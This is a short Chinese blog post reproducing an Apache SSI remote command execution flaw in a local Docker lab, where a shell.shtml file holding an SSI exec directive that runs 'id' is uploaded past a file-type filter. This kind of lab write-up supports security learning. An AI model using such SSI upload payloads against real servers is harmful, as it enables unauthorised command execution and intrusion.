Apache SSI 远程命令执行漏洞复现

Apache SSI 远程命令执行漏洞复现

一、漏洞描述

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

二、漏洞环境搭建与复现

1、使用docker搭建漏洞环境,启动环境

docker-compose build

docker-compose up -d

2、浏览器访问http://172.17.0.1:8080/upload.php,即可看到一个上传表单。

  

3、上传一个php文件,提示不支持的上传的类型

  

4、上传一个shell.shtml文件

<!--#exec cmd="id" -->

  

5、浏览器访问上传的文件,下图可以看到成功执行代码,说明存在远程命令执行漏洞

  

 

posted @ 2019-07-29 14:36  雨中落叶  阅读(3580)  评论(0编辑  收藏  举报